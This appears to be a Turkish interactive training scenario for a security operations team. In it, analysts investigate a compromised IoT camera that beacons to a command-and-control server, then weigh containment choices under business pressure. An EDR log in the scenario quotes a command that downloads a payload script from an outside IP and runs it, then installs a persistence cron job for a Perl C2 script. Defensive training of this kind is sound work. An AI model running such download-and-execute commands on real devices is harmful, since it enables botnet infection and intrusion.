CyberScenario: IoT Krizi

🕒 07:15 – İlk Sinyal: Zenginleştirilmiş SIEM Uyarısı

Günün başlangıcında, Tier-1 SOC Analisti Ezgi, SIEM (Güvenlik Bilgi ve Olay Yönetimi) panelinde kritik bir uyarı fark eder. Bir korelasyon kuralı tetiklenmiştir: "Kritik Varlık Ağından Bilinmeyen C2 Sunucusuna Periyodik Veri Sızıntısı".

ALERT ID: 8451
TRIGGER: Correlation Rule - "Suspicious C2 Beaconing"
SOURCE IP: 10.10.30.15 (VLAN: IoT Cihazları)
HOSTNAME: KAMERA-3KAT-OKYANUS
SOURCE MAC: 00:1A:2B:3C:4D:5E
DESTINATION IP: 88.54.12.219 (Reputation: Düşük, Kategori: Bilinmiyor)
PROTOCOL: UDP/443
OBSERVATION: Son 3 saattir her 5 dakikada bir 128KB'lık bir veri paketi gönderiliyor.
PCAP SUMMARY: 'update.serve-config.net' için yapılan DNS sorgusu 88.54.12.219'a çözümlendi. UDP payload'u gizlenmiş Base64 dizeleri içeriyor.
MITRE ATT&CK MAPPING: T1041 (Exfiltration Over C2), T1571 (Non-Standard Port)

Ezgi: "Bu normal bir trafik değil. Kaynak IP, IoT VLAN'ında görünüyor ve hedef daha önce görmediğimiz şüpheli bir adres. MITRE eşleşmeleri de endişe verici. Durumu hemen Tier-2'ye (Alper) iletiyorum."

🕒 07:30 – Eş Zamanlı Gelişmeler ve İlk Karar Anı

Ezgi'nin analiziyle hemen hemen aynı anda, sisteme iki farklı olay kaydı düşer. Ekip olarak hangi olaya öncelik vereceğinize karar vermelisiniz.

Ekip Lideri: "İki tane potansiyel olarak ciddi olayımız var. Biri potansiyel veri sızıntısı, diğeri üst düzey bir yöneticinin hesabına yönelik bir saldırı olabilir. Kaynaklarımız sınırlı, hangisine odaklanıyoruz?"

🕒 07:50 – Yanlış Önceliklendirme

Ekip, Finans Direktörünün hesabına odaklanmaya karar verir. Yapılan hızlı araştırma sonucunda, Finans Direktörünün yurt dışında tatilde olduğu ve yeni şifresini unuttuğu için mobil cihazından defalarca yanlış giriş yapmaya çalıştığı anlaşılır. Hesap geçici olarak kilitlenir ve durum kontrol altına alınır.

Alper: "Bu bir 'false positive' (yanlış alarm) idi. Ancak bu araştırmayı yaparken yaklaşık 20 dakika kaybettik. Şimdi acilen diğer olaya dönmemiz gerekiyor. Umarım geç kalmamışızdır."

🧑‍💻 08:00 – Alper’in Derinlemesine Analizi

Tier-2 Analisti Alper, SIEM uyarısı ile yardım masası talebini birleştirir. Şüpheli `10.10.30.15` IP adresini şirketin Varlık Yönetim Sistemi'nde sorgular. Sonuç nettir: IP adresi, 3. Kat Okyanus Toplantı Odası'ndaki bir "SmartEye 3000" model IP kamerasına aittir.

Alper, analizini bir adım ileri taşıyarak EDR (Uç Nokta Tespiti ve Müdahale) konsolunu kontrol eder ve kritik bir bulguya rastlar:

EDR LOG - Cihaz: KAMERA-3KAT-OKYANUS (10.10.30.15)
PROCESS: /bin/busybox
COMMAND: busybox wget http://88.54.12.219/payload.sh -O /tmp/p.sh
ACTION: 'p.sh' dosyası çalıştırıldı. 'perl /tmp/c2.pl' komutu içeren bir crontab görevi oluşturuldu.

Hızlı bir internet araştırması, bu modelin firmware'inde yakın zamanda açıklanmış kritik bir güvenlik açığını (CVE-2025-1337) ortaya çıkarır. Bu zafiyet, yetkisiz Uzaktan Kod Çalıştırmaya (RCE) olanak tanımaktadır.

Alper: "Tamam, şimdi her şey oturdu. Kameradaki yavaşlama bir arıza değil, bir semptom. Cihaz, bilinen bir zafiyet üzerinden ele geçirilmiş, bir payload indirmiş ve bir botnet parçası olarak C2 sunucusuna veri gönderiyor. Acilen yöneticimiz Ceyda'ya raporlamalıyız."

🕒 08:30 – Ani Komplikasyon: Yönetim Baskısı

Tam Alper bulgularını Ceyda'ya sunmaya hazırlanırken, telefonu çalar. Arayan, Satış Direktörüdür ve sesi oldukça gergindir.

Satış Direktörü: "Ekibiniz Okyanus Odası'ndaki kamerayla mı uğraşıyor? O kameranın 1 saat içinde çalışır durumda olması lazım, çok önemli bir yabancı müşteriye canlı demo sunumu yapacağız! Odayı kapatamazsınız, hemen bir çözüm bulun!"

Bu yeni bilgi, verilecek kararın sadece teknik değil, aynı zamanda operasyonel bir boyutu olduğunu da ortaya koyuyor. Ekip üzerindeki baskı artmıştır.

🏢 08:45 – Kriz Toplantısı ve Karar Anı

Alper, durumu Siber Güvenlik Yöneticisi Ceyda'ya özetler: "CVE-2025-1337 zafiyeti kullanılarak ele geçirilmiş bir IP kameramız var. Şimdilik sadece 'beaconing' aktivitesi gibi görünen küçük veri paketleriyle dışarıyla haberleşiyor. Ağ içinde yanal bir hareket tespit etmedik. Ancak Satış Departmanı'nın 1 saatten az bir süre içinde o kameraya ihtiyacı var."

Ceyda: "Anlaşıldı. Zamanımız kısıtlı ve baskı altındayız. Elimizde üç seçenek var gibi görünüyor. Karar sizin. Ne yapıyoruz?"

Ekip olarak kararınızı verin:

📊 Nihai Rapor: Tehdit Kontrol Altına Alındı

Ekip, A Seçeneğini uygulamaya karar verdi. Kameranın portu derhal kapatıldı ve cihaz laboratuvara taşındı. Satış sunumu iptal edildi.

• Eylem: Cihaz ağdan izole edildi, imajı adli analiz için alındı.
• Bulgu: Analizde, cihazı bir DDoS botnet'ine dahil etmek için kullanılan basit bir Perl betiği bulundu.
• Çözüm: Cihazın firmware'i güncellenerek zafiyet kapatıldı. Ağ taraması, yamalanması gereken aynı modeldeki 3 kamerayı daha ortaya çıkardı ve onlar da güncellendi.
• Sonuç: Veri sızıntısı yaşanmadı. Operasyonel aksama (iptal edilen sunum) nedeniyle küçük bir maliyet oluştu, ancak kriz büyümeden önlendi.

🚨 Nihai Rapor: Kriz Büyüdü!

Ekip, B Seçeneğini uygulamaya karar verdi. Ancak tecrübeli saldırgan, Honeypot'u fark ederek agresif bir saldırı başlattı.

• Eylem: İzlenildiğini anlayan saldırgan, planını değiştirerek elindeki erişimden sonuna kadar faydalanmaya karar verdi.
• Bulgu: Kameradan ağdaki diğer zafiyetli sistemleri taramaya başladı. Zayıf bir servis hesabı şifresini kırarak bir dosya sunucusuna yanal hareket gerçekleştirdi.
• Sonuç: Saldırgan, Finans ve İK departmanlarının kritik verilerini barındıran sunuculara fidye yazılımı (ransomware) bulaştırdı. Şirket operasyonları durma noktasına geldi.
• Kriz Yönetimi: Olay, bir veri ihlaline ve büyük bir operasyonel krize dönüştü. Kurtarma çalışmaları, danışmanlık ücretleri ve iş kaybı maliyeti devasa boyutlara ulaştı.

📊 Nihai Rapor: İstihbarat Toplandı, Tehdit Etkisiz Hale Getirildi

Ekip, C Seçeneğini uygulamaya karar verdi. Kamera, internet erişimi olmayan özel bir VLAN'a taşındı ve tüm aktiviteleri izlendi.

• Eylem: Kamera izole VLAN'da çalışır durumda bırakıldı ve tüm aktiviteleri NDR (Ağ Tespiti ve Müdahale) aracıyla izlendi.
• Bulgu: Saldırganın, kameradan yerel ağa doğru `nmap` ile port taraması yapmaya çalıştığı tespit edildi. Bu davranış, saldırganın TTP'leri (Taktik, Teknik, Prosedürler) hakkında değerli istihbarat sağladı.
• Çözüm: Elde edilen istihbaratla, diğer kameraları yamalamadan önce bu tür yanal hareketleri engelleyecek özel güvenlik duvarı kuralları yazıldı. Ardından tüm savunmasız kameralar güvenli bir şekilde güncellendi.
• Sonuç: Hem tehdit durduruldu hem de gelecekteki benzer saldırıları proaktif olarak engellemek için değerli bilgiler toplandı. Satış sunumunda yaşanan küçük gecikme dışında kayda değer bir kayıp yaşanmadı.

📌 Kapanış: Vaka Analizi ve Alınan Dersler